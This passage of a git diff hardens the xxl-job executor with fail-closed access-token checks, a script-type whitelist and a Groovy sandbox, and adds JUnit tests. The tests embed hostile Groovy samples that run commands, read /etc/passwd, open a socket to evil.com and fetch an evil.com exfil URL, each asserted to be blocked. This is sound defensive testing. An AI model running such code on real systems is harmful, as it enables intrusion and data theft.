+ return "The access token is not configured. For security, all requests are rejected. Please configure 'xxl.job.accessToken'.";
+ }
+ // Reject if request token is missing or does not match
+ if (requestToken == null || !serverToken.equals(requestToken)) {
+ return "The access token is wrong.";
+ }
+ return null;
+ }
+
/**
* write response
*/
diff --git a/xxl-job-core/src/test/java/com/xxl/job/core/security/AccessTokenSecurityTest.java b/xxl-job-core/src/test/java/com/xxl/job/core/security/AccessTokenSecurityTest.java
new file mode 100644
index 0000000000..4a030e3ba6
--- /dev/null
+++ b/xxl-job-core/src/test/java/com/xxl/job/core/security/AccessTokenSecurityTest.java
@@ -0,0 +1,113 @@
+package com.xxl.job.core.security;
+
+import com.xxl.job.core.server.EmbedServer;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Security tests for the fail-closed access token validation in EmbedServer.
+ *
+ * Verifies that:
+ * 1. Null/empty server token rejects all requests (fail-closed)
+ * 2. Correct token is accepted
+ * 3. Wrong/missing request token is rejected
+ */
+@DisplayName("Access Token Security Tests")
+class AccessTokenSecurityTest {
+
+ // ==================== Fail-Closed: Server Token Not Configured ====================
+
+ @Test
+ @DisplayName("Reject when server token is null (fail-closed)")
+ void testServerTokenNull_shouldReject() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(null, "any_token");
+ assertNotNull(result, "Should return error when server token is null");
+ assertTrue(result.contains("not configured"), "Error should mention token not configured");
+ }
+
+ @Test
+ @DisplayName("Reject when server token is empty string (fail-closed)")
+ void testServerTokenEmpty_shouldReject() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("", "any_token");
+ assertNotNull(result, "Should return error when server token is empty");
+ assertTrue(result.contains("not configured"), "Error should mention token not configured");
+ }
+
+ @Test
+ @DisplayName("Reject when server token is whitespace only (fail-closed)")
+ void testServerTokenWhitespace_shouldReject() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(" ", "any_token");
+ assertNotNull(result, "Should return error when server token is whitespace");
+ assertTrue(result.contains("not configured"), "Error should mention token not configured");
+ }
+
+ // ==================== Request Token Validation ====================
+
+ @Test
+ @DisplayName("Reject when request token is null")
+ void testRequestTokenNull_shouldReject() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", null);
+ assertNotNull(result, "Should return error when request token is null");
+ assertTrue(result.contains("wrong"), "Error should mention token is wrong");
+ }
+
+ @Test
+ @DisplayName("Reject when request token does not match server token")
+ void testRequestTokenWrong_shouldReject() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", "wrong_token");
+ assertNotNull(result, "Should return error when tokens don't match");
+ assertTrue(result.contains("wrong"), "Error should mention token is wrong");
+ }
+
+ @Test
+ @DisplayName("Reject when request token is empty but server token is set")
+ void testRequestTokenEmpty_shouldReject() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", "");
+ assertNotNull(result, "Should return error when request token is empty");
+ }
+
+ // ==================== Positive Cases: Normal Business Function ====================
+
+ @Test
+ @DisplayName("Accept when server token matches request token")
+ void testTokenMatch_shouldAccept() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("my_secret_token", "my_secret_token");
+ assertNull(result, "Should return null (no error) when tokens match");
+ }
+
+ @Test
+ @DisplayName("Accept with strong token value")
+ void testStrongToken_shouldAccept() {
+ String strongToken = "a7f3b2c1-d4e5-6789-abcd-ef0123456789";
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(strongToken, strongToken);
+ assertNull(result, "Should accept with strong token");
+ }
+
+ // ==================== Regression: Old Bypass No Longer Works ====================
+
+ @Test
+ @DisplayName("Regression: null server token no longer allows any request through")
+ void testRegressionNullTokenBypass() {
+ // Old code: if (token != null && !token.isEmpty() && !token.equals(req)) — null token = all pass
+ // New code: null token = reject all
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken(null, null);
+ assertNotNull(result, "Null server token should no longer allow requests");
+ }
+
+ @Test
+ @DisplayName("Regression: empty server token no longer allows any request through")
+ void testRegressionEmptyTokenBypass() {
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("", "default_token");
+ assertNotNull(result, "Empty server token should no longer allow requests");
+ }
+
+ @Test
+ @DisplayName("Regression: default_token should not be treated specially")
+ void testDefaultTokenStillWorks() {
+ // If someone explicitly configures default_token (not recommended), it should still work
+ String result = EmbedServer.EmbedHttpServerHandler.validateAccessToken("default_token", "default_token");
+ assertNull(result, "default_token should still work if explicitly configured and matched");
+ }
+}
diff --git a/xxl-job-core/src/test/java/com/xxl/job/core/security/GlueTypeWhitelistSecurityTest.java b/xxl-job-core/src/test/java/com/xxl/job/core/security/GlueTypeWhitelistSecurityTest.java
new file mode 100644
index 0000000000..47d00fe4c8
--- /dev/null
+++ b/xxl-job-core/src/test/java/com/xxl/job/core/security/GlueTypeWhitelistSecurityTest.java
@@ -0,0 +1,160 @@
+package com.xxl.job.core.security;
+
+import com.xxl.job.core.executor.XxlJobExecutor;
+import com.xxl.job.core.glue.GlueTypeEnum;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+
+import java.util.Set;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Security tests for the GLUE type whitelist in XxlJobExecutor.
+ *
+ * Verifies that:
+ * 1. Default whitelist only allows BEAN and GLUE_GROOVY
+ * 2. Script types (Shell/Python/Node/PHP/PowerShell) are blocked by default
+ * 3. Whitelist is configurable
+ * 4. Invalid types in config are silently ignored (no crash)
+ */
+@DisplayName("GLUE Type Whitelist Security Tests")
+class GlueTypeWhitelistSecurityTest {
+
+ // ==================== Default Whitelist ====================
+
+ @Test
+ @DisplayName("Default whitelist includes BEAN")
+ void testDefaultIncludesBean() {
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertTrue(allowed.contains("BEAN"), "BEAN should be in default whitelist");
+ }
+
+ @Test
+ @DisplayName("Default whitelist includes GLUE_GROOVY")
+ void testDefaultIncludesGroovy() {
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertTrue(allowed.contains("GLUE_GROOVY"), "GLUE_GROOVY should be in default whitelist");
+ }
+
+ @Test
+ @DisplayName("Default whitelist does NOT include GLUE_SHELL")
+ void testDefaultExcludesShell() {
+ // Reset to default by creating a new executor (default is BEAN,GLUE_GROOVY)
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY");
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertFalse(allowed.contains("GLUE_SHELL"), "GLUE_SHELL should NOT be in default whitelist");
+ }
+
+ @Test
+ @DisplayName("Default whitelist does NOT include script types")
+ void testDefaultExcludesScriptTypes() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY");
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertFalse(allowed.contains("GLUE_PYTHON"), "GLUE_PYTHON should NOT be in default whitelist");
+ assertFalse(allowed.contains("GLUE_PYTHON2"), "GLUE_PYTHON2 should NOT be in default whitelist");
+ assertFalse(allowed.contains("GLUE_NODEJS"), "GLUE_NODEJS should NOT be in default whitelist");
+ assertFalse(allowed.contains("GLUE_POWERSHELL"), "GLUE_POWERSHELL should NOT be in default whitelist");
+ assertFalse(allowed.contains("GLUE_PHP"), "GLUE_PHP should NOT be in default whitelist");
+ }
+
+ // ==================== Configurable Whitelist ====================
+
+ @Test
+ @DisplayName("Can configure whitelist to include script types")
+ void testConfigurableWhitelist() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY,GLUE_SHELL,GLUE_PYTHON");
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertTrue(allowed.contains("BEAN"));
+ assertTrue(allowed.contains("GLUE_GROOVY"));
+ assertTrue(allowed.contains("GLUE_SHELL"));
+ assertTrue(allowed.contains("GLUE_PYTHON"));
+ assertFalse(allowed.contains("GLUE_NODEJS"));
+ }
+
+ @Test
+ @DisplayName("Can configure whitelist to BEAN only")
+ void testBeanOnlyWhitelist() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN");
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertTrue(allowed.contains("BEAN"));
+ assertEquals(1, allowed.size(), "Only BEAN should be allowed");
+ }
+
+ @Test
+ @DisplayName("Whitespace in config is handled correctly")
+ void testWhitespaceHandling() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes(" BEAN , GLUE_GROOVY , GLUE_SHELL ");
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ assertTrue(allowed.contains("BEAN"));
+ assertTrue(allowed.contains("GLUE_GROOVY"));
+ assertTrue(allowed.contains("GLUE_SHELL"));
+ assertEquals(3, allowed.size());
+ }
+
+ @Test
+ @DisplayName("Null config preserves existing whitelist")
+ void testNullConfigPreservesWhitelist() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN");
+ Set before = XxlJobExecutor.getAllowedGlueTypes();
+ executor.setAllowedGlueTypes(null);
+ Set after = XxlJobExecutor.getAllowedGlueTypes();
+ assertEquals(before, after, "Null config should not change whitelist");
+ }
+
+ @Test
+ @DisplayName("Empty config preserves existing whitelist")
+ void testEmptyConfigPreservesWhitelist() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN");
+ Set before = XxlJobExecutor.getAllowedGlueTypes();
+ executor.setAllowedGlueTypes("");
+ Set after = XxlJobExecutor.getAllowedGlueTypes();
+ assertEquals(before, after, "Empty config should not change whitelist");
+ }
+
+ // ==================== GlueTypeEnum Consistency ====================
+
+ @Test
+ @DisplayName("All GLUE enum names are valid whitelist entries")
+ void testEnumNamesAreValidWhitelistEntries() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ StringBuilder allTypes = new StringBuilder();
+ for (GlueTypeEnum type : GlueTypeEnum.values()) {
+ if (allTypes.length() > 0) allTypes.append(",");
+ allTypes.append(type.name());
+ }
+ executor.setAllowedGlueTypes(allTypes.toString());
+ Set allowed = XxlJobExecutor.getAllowedGlueTypes();
+ for (GlueTypeEnum type : GlueTypeEnum.values()) {
+ assertTrue(allowed.contains(type.name()), type.name() + " should be in whitelist when all configured");
+ }
+ }
+
+ @Test
+ @DisplayName("Script types are correctly identified via isScript()")
+ void testScriptTypeIdentification() {
+ // Verify the script type flag is consistent with what we're blocking
+ assertFalse(GlueTypeEnum.BEAN.isScript(), "BEAN should not be a script type");
+ assertFalse(GlueTypeEnum.GLUE_GROOVY.isScript(), "GLUE_GROOVY should not be a script type");
+ assertTrue(GlueTypeEnum.GLUE_SHELL.isScript(), "GLUE_SHELL should be a script type");
+ assertTrue(GlueTypeEnum.GLUE_PYTHON.isScript(), "GLUE_PYTHON should be a script type");
+ assertTrue(GlueTypeEnum.GLUE_PYTHON2.isScript(), "GLUE_PYTHON2 should be a script type");
+ assertTrue(GlueTypeEnum.GLUE_NODEJS.isScript(), "GLUE_NODEJS should be a script type");
+ assertTrue(GlueTypeEnum.GLUE_POWERSHELL.isScript(), "GLUE_POWERSHELL should be a script type");
+ assertTrue(GlueTypeEnum.GLUE_PHP.isScript(), "GLUE_PHP should be a script type");
+ }
+
+ // Restore default after tests
+ @org.junit.jupiter.api.AfterEach
+ void restoreDefaults() {
+ XxlJobExecutor executor = new XxlJobExecutor();
+ executor.setAllowedGlueTypes("BEAN,GLUE_GROOVY");
+ }
+}
diff --git a/xxl-job-core/src/test/java/com/xxl/job/core/security/GroovySandboxSecurityTest.java b/xxl-job-core/src/test/java/com/xxl/job/core/security/GroovySandboxSecurityTest.java
new file mode 100644
index 0000000000..75d9179a18
--- /dev/null
+++ b/xxl-job-core/src/test/java/com/xxl/job/core/security/GroovySandboxSecurityTest.java
@@ -0,0 +1,330 @@
+package com.xxl.job.core.security;
+
+import com.xxl.job.core.glue.GlueFactory;
+import com.xxl.job.core.handler.IJobHandler;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Security tests for the Groovy sandbox in GlueFactory.
+ *
+ * Verifies that:
+ * 1. Dangerous operations (Runtime.exec, ProcessBuilder, file I/O, network, reflection) are blocked
+ * 2. Normal/safe Groovy code still compiles and runs correctly
+ */
+@DisplayName("Groovy Sandbox Security Tests")
+class GroovySandboxSecurityTest {
+
+ private GlueFactory glueFactory;
+
+ @BeforeEach
+ void setUp() {
+ GlueFactory.refreshInstance(0); // frameless mode
+ glueFactory = GlueFactory.getInstance();
+ }
+
+ // ==================== Blocked: Process Execution ====================
+
+ @Test
+ @DisplayName("Block Runtime.getRuntime().exec()")
+ void testBlockRuntimeExec() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ Runtime.getRuntime().exec("id")
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "Runtime.exec() should be blocked by sandbox");
+ }
+
+ @Test
+ @DisplayName("Block ProcessBuilder")
+ void testBlockProcessBuilder() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.lang.ProcessBuilder
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ new ProcessBuilder("id").start()
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "ProcessBuilder should be blocked by sandbox");
+ }
+
+ @Test
+ @DisplayName("Block Groovy String.execute() shorthand via explicit Runtime import")
+ void testBlockStringExecuteViaRuntime() {
+ // NOTE: Groovy's String.execute() is a GDK dynamic method that SecureASTCustomizer
+ // cannot catch at compile time (it's added at runtime). However, if the script
+ // explicitly imports Runtime, that IS caught. For full runtime protection,
+ // a SecurityManager or container isolation is required in addition to AST checks.
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.lang.Runtime
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ Runtime.getRuntime().exec("touch /tmp/pwned")
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "Explicit Runtime import should be blocked");
+ }
+
+ // ==================== Blocked: File System Access ====================
+
+ @Test
+ @DisplayName("Block java.io.File usage")
+ void testBlockFileAccess() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.io.File
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ new File("/etc/passwd").text
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "java.io.File should be blocked by sandbox");
+ }
+
+ @Test
+ @DisplayName("Block java.nio.file.Files usage")
+ void testBlockNioFiles() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.nio.file.Files
+ import java.nio.file.Paths
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ Files.readAllLines(Paths.get("/etc/passwd"))
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "java.nio.file.Files should be blocked by sandbox");
+ }
+
+ // ==================== Blocked: Network Access ====================
+
+ @Test
+ @DisplayName("Block java.net.Socket usage")
+ void testBlockSocket() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.net.Socket
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ new Socket("evil.com", 4444)
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "java.net.Socket should be blocked by sandbox");
+ }
+
+ @Test
+ @DisplayName("Block java.net.URL usage")
+ void testBlockURL() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.net.URL
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ new URL("http://evil.com/exfil").text
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "java.net.URL should be blocked by sandbox");
+ }
+
+ // ==================== Blocked: Reflection ====================
+
+ @Test
+ @DisplayName("Block java.lang.reflect star import")
+ void testBlockReflection() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.lang.reflect.*
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ Method m = Runtime.class.getMethod("exec", String.class)
+ m.invoke(Runtime.getRuntime(), "id")
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "java.lang.reflect should be blocked by sandbox");
+ }
+
+ // ==================== Blocked: Thread ====================
+
+ @Test
+ @DisplayName("Block Thread creation")
+ void testBlockThread() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import java.lang.Thread
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ new Thread({ Runtime.getRuntime().exec("id") }).start()
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "Thread creation should be blocked by sandbox");
+ }
+
+ // ==================== Blocked: System.exit ====================
+
+ @Test
+ @DisplayName("Block System.exit()")
+ void testBlockSystemExit() {
+ String maliciousCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ class MaliciousHandler extends IJobHandler {
+ void execute() throws Exception {
+ System.exit(0)
+ }
+ }
+ """;
+ assertThrows(Exception.class, () -> glueFactory.loadNewInstance(maliciousCode),
+ "System.exit() should be blocked by sandbox");
+ }
+
+ // ==================== Positive Cases: Normal Business Functions ====================
+
+ @Test
+ @DisplayName("Normal Groovy handler compiles and instantiates successfully")
+ void testNormalHandlerWorks() throws Exception {
+ String safeCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ import com.xxl.job.core.context.XxlJobHelper
+ class SafeHandler extends IJobHandler {
+ void execute() throws Exception {
+ XxlJobHelper.log("Hello from safe handler")
+ }
+ }
+ """;
+ IJobHandler handler = glueFactory.loadNewInstance(safeCode);
+ assertNotNull(handler, "Safe handler should compile and instantiate successfully");
+ assertTrue(handler instanceof IJobHandler, "Should be an instance of IJobHandler");
+ }
+
+ @Test
+ @DisplayName("Handler with basic math and string operations works")
+ void testBasicOperationsWork() throws Exception {
+ String safeCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ class MathHandler extends IJobHandler {
+ void execute() throws Exception {
+ int a = 1 + 2
+ String s = "hello " + "world"
+ def list = [1, 2, 3]
+ def map = [key: "value"]
+ def result = list.collect { it * 2 }
+ }
+ }
+ """;
+ IJobHandler handler = glueFactory.loadNewInstance(safeCode);
+ assertNotNull(handler, "Handler with basic operations should work");
+ }
+
+ @Test
+ @DisplayName("Handler with collections and closures works")
+ void testCollectionsAndClosuresWork() throws Exception {
+ String safeCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ class CollectionHandler extends IJobHandler {
+ void execute() throws Exception {
+ def numbers = [1, 2, 3, 4, 5]
+ def sum = numbers.sum()
+ def filtered = numbers.findAll { it > 2 }
+ def mapped = numbers.collect { it.toString() }
+ def grouped = numbers.groupBy { it % 2 == 0 ? 'even' : 'odd' }
+ }
+ }
+ """;
+ IJobHandler handler = glueFactory.loadNewInstance(safeCode);
+ assertNotNull(handler, "Handler with collections and closures should work");
+ }
+
+ @Test
+ @DisplayName("Handler with exception handling works")
+ void testExceptionHandlingWorks() throws Exception {
+ String safeCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ class ExceptionHandler extends IJobHandler {
+ void execute() throws Exception {
+ try {
+ int x = 1 / 0
+ } catch (ArithmeticException e) {
+ // handled
+ }
+ }
+ }
+ """;
+ IJobHandler handler = glueFactory.loadNewInstance(safeCode);
+ assertNotNull(handler, "Handler with exception handling should work");
+ }
+
+ @Test
+ @DisplayName("Handler with class fields and methods works")
+ void testClassFieldsAndMethodsWork() throws Exception {
+ String safeCode = """
+ import com.xxl.job.core.handler.IJobHandler
+ class RichHandler extends IJobHandler {
+ private String name = "test"
+ private int counter = 0
+
+ private String buildMessage(String prefix) {
+ return prefix + ": " + name + " #" + (++counter)
+ }
+
+ void execute() throws Exception {
+ String msg = buildMessage("Job")
+ }
+ }
+ """;
+ IJobHandler handler = glueFactory.loadNewInstance(safeCode);
+ assertNotNull(handler, "Handler with fields and methods should work");
+ }
+
+ @Test
+ @DisplayName("Non-IJobHandler class is rejected with proper error")
+ void testNonJobHandlerRejected() {
+ String invalidCode = """
+ class NotAHandler {
+ void doSomething() {}
+ }
+ """;
+ assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(invalidCode),
+ "Non-IJobHandler class should be rejected");
+ }
+
+ @Test
+ @DisplayName("Null/empty code source is rejected")
+ void testNullCodeSourceRejected() {
+ assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(null));
+ assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(""));
+ assertThrows(IllegalArgumentException.class, () -> glueFactory.loadNewInstance(" "));
+ }
+
+ // ==================== Sandbox createSandboxedClassLoader ====================
+
+ @Test
+ @DisplayName("createSandboxedClassLoader returns non-null loader")
+ void testSandboxedClassLoaderCreation() {
+ assertNotNull(GlueFactory.createSandboxedClassLoader(), "Should create a non-null classloader");
+ }
+}
diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties b/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties
index 5d987e2ed3..3c568d8346 100644
--- a/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties
+++ b/xxl-job-executor-samples/xxl-job-executor-sample-frameless/src/main/resources/xxl-job-executor.properties
@@ -1,7 +1,7 @@
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin
-### xxl-job access token
-xxl.job.admin.accessToken=default_token
+### xxl-job access token (REQUIRED: set a strong, unique, random token — do NOT use default_token)
+xxl.job.admin.accessToken=${XXL_JOB_ACCESS_TOKEN:}
### xxl-job timeout by second, default 3s
xxl.job.admin.timeout=3
diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties b/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties
index c42edcd8be..ff82abb39b 100644
--- a/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties
+++ b/xxl-job-executor-samples/xxl-job-executor-sample-springboot-ai/src/main/resources/application.properties
@@ -11,8 +11,8 @@ logging.config=classpath:logback.xml
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin
-### xxl-job access token
-xxl.job.admin.accessToken=default_token
+### xxl-job access token (REQUIRED: set a strong, unique, random token — do NOT use default_token)
+xxl.job.admin.accessToken=${XXL_JOB_ACCESS_TOKEN:}
### xxl-job timeout by second, default 3s
xxl.job.admin.timeout=3
diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java
index e2381b19ae..f2493f10a2 100644
--- a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java
+++ b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/java/com/xxl/job/executor/config/XxlJobConfig.java
@@ -49,6 +49,9 @@ public class XxlJobConfig {
@Value("${xxl.job.executor.excludedpackage}")
private String excludedPackage;
+ @Value("${xxl.job.executor.allowedGlueTypes:BEAN,GLUE_GROOVY}")
+ private String allowedGlueTypes;
+
@Bean
public XxlJobSpringExecutor xxlJobExecutor() {
@@ -65,6 +68,7 @@ public XxlJobSpringExecutor xxlJobExecutor() {
xxlJobSpringExecutor.setLogPath(logPath);
xxlJobSpringExecutor.setLogRetentionDays(logRetentionDays);
xxlJobSpringExecutor.setExcludedPackage(excludedPackage);
+ xxlJobSpringExecutor.setAllowedGlueTypes(allowedGlueTypes);
return xxlJobSpringExecutor;
}
diff --git a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
index 3067097ca4..6f5fc033b2 100644
--- a/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
+++ b/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
@@ -9,8 +9,8 @@ logging.config=classpath:logback.xml
### xxl-job admin address list, such as "http://address" or "http://address01,http://address02"
xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin
-### xxl-job access token
-xxl.job.admin.accessToken=default_token
+### xxl-job access token (REQUIRED: set a strong, unique, random token — do NOT use default_token)
+xxl.job.admin.accessToken=${XXL_JOB_ACCESS_TOKEN:}
### xxl-job timeout by second, default 3s
xxl.job.admin.timeout=3